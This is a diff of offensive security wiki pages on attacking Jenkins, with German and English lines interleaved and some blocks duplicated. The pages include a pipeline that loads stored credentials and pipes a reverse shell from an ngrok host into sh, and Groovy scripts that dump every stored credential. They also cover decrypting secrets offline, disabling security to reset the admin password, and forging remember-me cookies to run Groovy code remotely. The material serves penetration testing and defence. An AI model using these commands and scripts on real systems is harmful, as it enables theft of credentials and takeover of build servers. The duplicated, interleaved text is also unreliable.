### Knoten & Agenten
Check **other examples in the docs**.
Eine **Jenkins-Instanz** kann **verschiedene Agenten auf verschiedenen Maschinen** haben. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen **verschiedene potenzielle Cloud-Anmeldeinformationen**, die gestohlen werden können, oder **verschiedenen Netzwerkzugriff**, der missbraucht werden könnte, um andere Maschinen auszunutzen.
### Nodes & Agents
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den \*\*`Built-In Node` \*\* (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
![](<../../images/image (249).png>)
Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält.
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
```bash
pipeline {
agent {label 'built-in'}
agent {label 'built-in'}
```
### Vollständiges Beispiel
Pipeline in einem spezifischen Agenten, mit einem Cron-Trigger, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden:
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
post {
always {
cleanWs()
}
}
}
```
## Arbiträre Dateilesen zu RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -304,40 +326,43 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Nach der Ausnutzung
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins-Geheimnisse
Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei `credentials.xml` auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
### Jenkins Secrets
Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**.
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
![](<../../images/image (180).png>)
#### Aus Groovy
#### From Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### Vom Datenträger
#### From disk
Diese Dateien sind erforderlich, um **Jenkins-Geheimnisse zu entschlüsseln**:
These files are needed to **decrypt Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Solche **Geheimnisse sind normalerweise zu finden in**:
Such **secrets can usually be found in**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Hier ist ein Regex, um sie zu finden:
Here's a regex to find them:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -347,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Jenkins-Geheimnisse offline entschlüsseln
Wenn Sie die **benötigten Passwörter zur Entschlüsselung der Geheimnisse** haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese Geheimnisse zu entschlüsseln**.
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -357,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Jenkins-Geheimnisse aus Groovy entschlüsseln
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Erstellen eines neuen Administrators
1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu.
2. Suchen Sie nach dem Wort `<useSecurity>true</useSecurity>` und ändern Sie das Wort **`true`** in **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Starten** den **Jenkins**-Server neu: `service jenkins restart`
4. Gehen Sie jetzt erneut zum Jenkins-Portal und **Jenkins wird diesmal keine Anmeldeinformationen anfordern**. Navigieren Sie zu "**Manage Jenkins**", um das **Administratorpasswort erneut festzulegen**.
5. **Aktivieren** Sie die **Sicherheit** erneut, indem Sie die Einstellungen auf `<useSecurity>true</useSecurity>` ändern und **starten Sie Jenkins erneut neu**.
### Create new admin user
## Referenzen
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -380,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,87 @@
# Grundlegende Jenkins-Informationen
# Basic Jenkins Information
{{#include ../../banners/hacktricks-training.md}}
## Zugriff
## Access
### Benutzername + Passwort
### Username + Password
Der häufigste Weg, sich in Jenkins anzumelden, ist mit einem Benutzernamen oder einem Passwort.
The most common way to login in Jenkins if with a username or a password
### Cookie
Wenn ein **autorisierter Cookie gestohlen wird**, kann er verwendet werden, um auf die Sitzung des Benutzers zuzugreifen. Der Cookie wird normalerweise `JSESSIONID.*` genannt. (Ein Benutzer kann alle seine Sitzungen beenden, muss jedoch zuerst herausfinden, dass ein Cookie gestohlen wurde).
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
### SSO/Plugins
Jenkins kann mit Plugins konfiguriert werden, um **über Drittanbieter-SSO** zugänglich zu sein.
Jenkins can be configured using plugins to be **accessible via third party SSO**.
### Tokens
**Benutzer können Tokens generieren**, um Anwendungen den Zugriff zu ermöglichen, um sie über CLI oder REST API zu impersonifizieren.
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
### SSH-Schlüssel
### SSH Keys
Diese Komponente bietet einen integrierten SSH-Server für Jenkins. Es ist eine alternative Schnittstelle für die [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), und Befehle können auf diese Weise mit jedem SSH-Client aufgerufen werden. (Aus den [Docs](https://plugins.jenkins.io/sshd/))
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
## Autorisierung
## Authorization
In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins** zu konfigurieren. Es gibt mehrere Optionen:
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
- **Jeder kann alles tun**: Sogar anonymer Zugriff kann den Server verwalten.
- **Legacy-Modus**: Gleich wie Jenkins <1.164. Wenn Sie die **"admin"-Rolle** haben, erhalten Sie **vollständige Kontrolle** über das System, und **ansonsten** (einschließlich **anonymer** Benutzer) haben Sie **Lesezugriff**.
- **Eingeloggte Benutzer können alles tun**: In diesem Modus erhält jeder **eingeloggte Benutzer vollständige Kontrolle** über Jenkins. Der einzige Benutzer, der keine vollständige Kontrolle hat, ist der **anonyme Benutzer**, der nur **Lesezugriff** erhält.
- **Matrix-basierte Sicherheit**: Sie können **konfigurieren, wer was tun kann** in einer Tabelle. Jede **Spalte** repräsentiert eine **Berechtigung**. Jede **Zeile** **repräsentiert** einen **Benutzer oder eine Gruppe/Rolle.** Dies umfasst einen speziellen Benutzer '**anonymous**', der **nicht authentifizierte Benutzer** repräsentiert, sowie '**authenticated**', der **alle authentifizierten Benutzer** repräsentiert.
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
![](<../../images/image (149).png>)
- **Projektbasierte Matrix-Autorisierungsstrategie:** Dieser Modus ist eine **Erweiterung** der "**Matrix-basierten Sicherheit**", die es ermöglicht, zusätzliche ACL-Matrizen **für jedes Projekt separat zu definieren.**
- **Rollenbasierte Strategie:** Ermöglicht die Definition von Berechtigungen mit einer **rollenbasierten Strategie**. Verwalten Sie die Rollen in `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
## **Sicherheitsbereich**
## **Security Realm**
In `/configureSecurity` ist es möglich, den **Sicherheitsbereich zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Sicherheitsbereiche:
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
- **Delegieren an den Servlet-Container**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins eigene Benutzerdatenbank:** Verwenden Sie **Jenkins eigene integrierte Benutzerdatenbank** zur Authentifizierung, anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert.
- **LDAP**: Delegieren Sie die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
- **Unix-Benutzer-/Gruppendatenbank**: **Delegiert die Authentifizierung an die zugrunde liegende Unix**-OS-Benutzerdatenbank auf dem Jenkins-Controller. Dieser Modus ermöglicht auch die Wiederverwendung von Unix-Gruppen für die Autorisierung.
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
Plugins können zusätzliche Sicherheitsbereiche bereitstellen, die nützlich sein können, um Jenkins in bestehende Identitätssysteme zu integrieren, wie zum Beispiel:
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub-Authentifizierung](https://plugins.jenkins.io/github-oauth)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins-Knoten, Agenten & Executor
## Jenkins Nodes, Agents & Executors
Definitionen aus den [Docs](https://www.jenkins.io/doc/book/managing/nodes/):
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Knoten** sind die **Maschinen**, auf denen die Build-**Agenten laufen**. Jenkins überwacht jeden angeschlossenen Knoten auf Speicherplatz, freien temporären Speicher, freien Swap, Uhrzeit/Synchronisation und Reaktionszeit. Ein Knoten wird offline genommen, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt.
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor** verwenden. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Die für Builds und Tests erforderlichen Tools sind auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `stages`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
## Jenkins-Geheimnisse
## Jenkins Secrets
### Verschlüsselung von Geheimnissen und Anmeldeinformationen
### Encryption of Secrets and Credentials
Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal in der Kryptosprache als "Key Encryption Key" bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung allgemeiner geheimer Daten oder über die Anmeldeinformations-API. Für die kryptokuriosen Benutzer verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs sind:
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
- `hudson.util.Secret`: verwendet für allgemeine Geheimnisse;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: verwendet für einige Anmeldeinformationstypen;
- `jenkins.model.Jenkins.crumbSalt`: verwendet vom [CSRF-Schutzmechanismus](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); und
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
### Zugriff auf Anmeldeinformationen
### Credentials Access
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) zugewiesen werden, auf die von jedem konfigurierten Projekt zugegriffen werden kann, oder sie können auf **spezifische Projekte** (`/job/<project-name>/configure`) beschränkt werden und sind daher nur von dem spezifischen Projekt aus zugänglich.
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht im regulären Output sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie im Build-Protokoll nicht offenbaren** für Benutzer, die ansonsten keinen Zugriff auf die Anmeldeinformationen hätten.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
**Deshalb muss ein Angreifer, um die Anmeldeinformationen zu exfiltrieren, sie beispielsweise base64 kodieren.**
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
## Referenzen
## References
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,3 +92,6 @@ Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,104 +2,107 @@
{{#include ../../banners/hacktricks-training.md}}
In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
### Angriffsvoraussetzungen
### Attack Prerequisites
- **Funktionsanforderung:** "Remember me" muss aktiviert sein (Standardeinstellung).
- **Zugriffslevel:** Angreifer benötigt Gesamt-/Lese-Berechtigungen.
- **Geheimer Zugriff:** Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
### Detaillierter Ausbeutungsprozess
### Detailed Exploitation Process
#### Schritt 1: Datensammlung
#### Step 1: Data Collection
**Benutzerinformationsabruf**
**User Information Retrieval**
- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln:
- **Benutzername**
- **Benutzersamen**
- **Zeitstempel**
- **Passworthash**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
**Geheimschlüsselextraktion**
**Secret Key Extraction**
- Extrahieren Sie kryptografische Schlüssel, die zum Signieren des Cookies verwendet werden:
- **Geheimschlüssel:** `$JENKINS_HOME/secret.key`
- **Master-Schlüssel:** `$JENKINS_HOME/secrets/master.key`
- **MAC-Schlüsseldatei:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Schritt 2: Cookie-Fälschung
#### Step 2: Cookie Forging
**Token-Vorbereitung**
**Token Preparation**
- **Berechnen Sie die Token-Ablaufzeit:**
- **Calculate Token Expiry Time:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Fügt eine Stunde zur aktuellen Zeit hinzu
```
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
- **Daten für das Token verketten:**
- **Concatenate Data for Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**MAC-Schlüsselentschlüsselung**
**MAC Key Decryption**
- **Entschlüsseln Sie die MAC-Schlüsseldatei:**
- **Decrypt MAC Key File:**
```javascript
key = toAes128Key(masterKey) // Konvertieren Sie den Master-Schlüssel in das AES128-Schlüssel-Format
decrypted = AES.decrypt(macFile, key) // Entschlüsseln Sie die .mac-Datei
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Signaturberechnung**
**Signature Computation**
- **Berechnen Sie HMAC SHA256:**
- **Compute HMAC SHA256:**
```javascript
mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge
```
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
**Cookie-Codierung**
**Cookie Encoding**
- **Generieren Sie das endgültige Cookie:**
- **Generate Final Cookie:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64-codieren Sie die Cookie-Daten
```
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
#### Schritt 3: Codeausführung
#### Step 3: Code Execution
**Sitzungsauthentifizierung**
**Session Authentication**
- **Abrufen von CSRF- und Sitzungstoken:**
- Stellen Sie eine Anfrage an `/crumbIssuer/api/json`, um `Jenkins-Crumb` zu erhalten.
- Erfassen Sie `JSESSIONID` aus der Antwort, die zusammen mit dem Remember-Me-Cookie verwendet wird.
- **Fetch CSRF and Session Tokens:**
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
**Befehlsausführungsanfrage**
**Command Execution Request**
- **Senden Sie eine POST-Anfrage mit Groovy-Skript:**
- **Send a POST Request with Groovy Script:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -3,9 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Beachten Sie, dass diese Skripte nur die Geheimnisse in der `credentials.xml`-Datei auflisten, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` mit diesem Code ausgeben
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
return
```
#### oder dieses hier:
#### or this one:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
